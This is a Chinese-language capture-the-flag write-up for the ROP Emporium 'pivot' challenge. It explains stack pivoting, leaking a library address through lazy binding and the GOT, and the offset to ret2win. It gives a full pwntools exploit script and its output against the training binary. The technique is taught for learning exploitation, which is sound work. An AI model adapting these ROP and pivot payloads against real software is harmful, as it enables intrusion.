题目描述
这道题最不同于之前的题的地方,就在于原栈上空间很小,需要利用 gadgets 把 rsp 跳到其他地方来继续利用 rop 链达到目的。达到目的的方法题目也说的比较清楚:利用惰性绑定性质通过 got 表项找到动态库中 foothold_function() 的真实地址,再通过偏移量解析到库中 ret2win() 函数的真实地址
解题流程
工具
pwntools、ropper
找函数地址、gadgets
跑一下程序
./pivot
pivot by ROP Emporiumx86_64
Call ret2win() from libpivotThe Old Gods kindly bestow upon you a place to pivot: 0x70390fffef10Send a ROP chain now and it will land there>贴心地给了我们应该把rsp放到的地址
但注意,虽然这个系列的题都是No PIE,但每次运行程序时打印出的这个地址可能还是会变,所以后续就需要让脚本去动态读取到这个地址来作为rsp跳转的地址
然后是反汇编
objdump -d -M intel ./pivot找到:
0000000000400720 <foothold_function@plt>
00000000004009bb <usefulGadgets>: 4009bb: 58 pop rax 4009bc: c3 ret 4009bd: 48 94 xchg rsp,rax 4009bf: c3 ret 4009c0: 48 8b 00 mov rax,QWORD PTR [rax] 4009c3: c3 ret 4009c4: 48 01 e8 add rax,rbp 4009c7: c3 ret 4009c8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4009cf: 00foothold_function@plt在第一次调用后其作为入口指向的真实函数地址便存入了foothold_function@got所存的内容中,即[foothold_function@got]
而xchg rsp,rax;ret、mov rax,QWORD PTR [rax];ret和add rax,rbp便是我们要找的关键指令,其含义分别为:
将rsp和rax内容交换
把 RAX 当成一个地址, 去这个地址指向的内存里读 8 字节, 再把读出来的值放回 RAX
将rbp的值加到rax
第一条指令用来将 rsp 转移到新地方
第二条指令将 rax 内容由地址变成该地址指向的8字节内容,用来后续读取foothold_function@got再好不过
第三条指令显然就是用来做偏移量的
也就是说,只要把目标转移地址放入 rax,再执行第一条指令,一交换,rsp 便来到了目标转移地址,同时在惰性绑定后,我们也可以通过把foothold_function@got放入 rax 执行第二条指令来读到foothold_function的真实地址,最后第三条指令加上rbp作偏移量(变相性说明这题rbp是有讲究的),就能访问到ret2win()了,至于怎么用到此时rax里的地址,就需要:
ropper --file ./pivot --search "jmp rax"ropper --file ./pivot --search "call rax"
0x00000000004007c1: jmp rax;0x00000000004006b0: call rax;虽然call会多一个push返回地址的操作,但在这道题两者都能达到目的
这里不能反推出“栈对齐不重要”,只能说明本题 ret2win 的执行路径中,call rax 和 jmp rax 造成的 RSP 差异都没有触发致命问题。以前遇到的额外 ret 对齐,更多是为了避免某些 libc 函数或 movaps 这类指令对栈对齐敏感
不过,CTF里只要flag打出来,后面崩不崩通常不重要()
那现在就是找偏移量了
先是找到foothold_function@got
objdump -R ./pivot | grep foothold
0000000000601040 R_X86_64_JUMP_SLOT foothold_function再是在libpivot.so的符号表中对应查看库内符号偏移来算固定偏移量
readelf -s ./libpivot.so | grep -E "foothold|ret2win"
10: 000000000000096a 19 FUNC GLOBAL DEFAULT 12 foothold_function 18: 0000000000000a81 146 FUNC GLOBAL DEFAULT 12 ret2win 48: 0000000000000a81 146 FUNC GLOBAL DEFAULT 12 ret2win 55: 000000000000096a 19 FUNC GLOBAL DEFAULT 12 foothold_function两组地址我们看一组即可,来算偏移量
0xa81 - 0x96a = 0x117构造exp脚本
根据我们的思路,分两次输入
第一次输入被写到程序给出的 pivot 地址处,作为之后要执行的大 rop 链
这条大链负责调用foothold_function@plt触发lazy binding再从got中取出foothold_function的真实地址
加上 ret2win 与 foothold_function 在 libpivot.so 中的固定偏移
最后跳到 ret2win
第二次输入发生在原栈上,空间较小
它只负责用pop rax; ret把pivot地址放入rax,再用xchg rsp, rax; ret把 rsp 切换到第一次输入的位置
切换后,后续 ret 就会从 pivot 区域继续取地址执行大链
所以脚本大概就长这样
from pwn import *
p = process('./pivot')
p.recvuntil(b'pivot: ')pivot_addr = int(p.recvline().strip(), 16)
padding_to_saved_rbp = 32
pop_rax_ret = 0x4009bbxchg_rsp_rax_ret = 0x4009bdmov_rax_qword_ptr_rax_ret = 0x4009c0add_rax_rbp_ret = 0x4009c4jmp_rax = 0x4007c1
foothold_function_plt = 0x400720foothold_function_got = 0x601040ret2win_offset = 0x117
payload1 = b''payload1 += p64(foothold_function_plt)payload1 += p64(pop_rax_ret)payload1 += p64(foothold_function_got)payload1 += p64(mov_rax_qword_ptr_rax_ret)payload1 += p64(add_rax_rbp_ret)payload1 += p64(jmp_rax)
p.sendlineafter(b'> ', payload1)
payload2 = b'A' * padding_to_saved_rbppayload2 += p64(ret2win_offset)payload2 += p64(pop_rax_ret)payload2 += p64(pivot_addr)payload2 += p64(xchg_rsp_rax_ret)
p.sendlineafter(b'> ', payload2)
p.interactive()运行
python3 pivot.py
[+] Starting local process './pivot': pid 154866[*] Switching to interactive mode[*] Process './pivot' stopped with exit code 0 (pid 154866)Thank you!foothold_function(): Check out my .got.plt entry to gain a foothold into libpivotROPE{a_placeholder_32byte_flag!}[*] Got EOF while reading in interactive$出来了,不赖
总结
-
NO PIE变化的不是foothold_function@got,而是[foothold_function@got] -
stack pivot不是把数据“搬到新栈”,而是把rsp改到一块已经准备好的可控内存因此顺序必须是:
- 先把大 rop 链写到 pivot 地址
- 再在原栈上用小 rop 链修改 rsp
xchg rsp,rax;ret后,ret 会从pivot地址继续取下一条
如果 pivot 地址处还没有提前布置链,rsp 搬过去后 ret 只会读到垃圾
-
动态库是单独的
elf文件,但程序运行时会被加载进同一个进程虚拟地址空间 主程序、动态库、堆、栈都在同一张虚拟内存地图上,只是位于不同区域;动态库不是简单变成一整块连续内存,而是按 ELF 的可加载段映射成若干块,不同块有不同权限,如 r-x、r—、rw- -
plt是主程序里的外部函数跳板,got是主程序里保存外部函数真实地址的表惰性绑定意味着外部函数第一次被调用时才解析真实地址,并写入got -
pivot里的“新栈”不是真正新建的系统栈, 而是一块程序给出的可写内存只要把 rsp 改到那里,ret/pop 就会从那里继续取数据 原栈和新栈通常不连续,但这不影响 rop 链执行 -
为什么最后到ret2win函数不能再用 xchg rsp, rax; ret?
因为 ret 做的是 = [rsp],不是 rip = rsp 所以当 rax = ret2win 地址时,需要 jmp rax / call rax,而不是 xchg rsp, rax; ret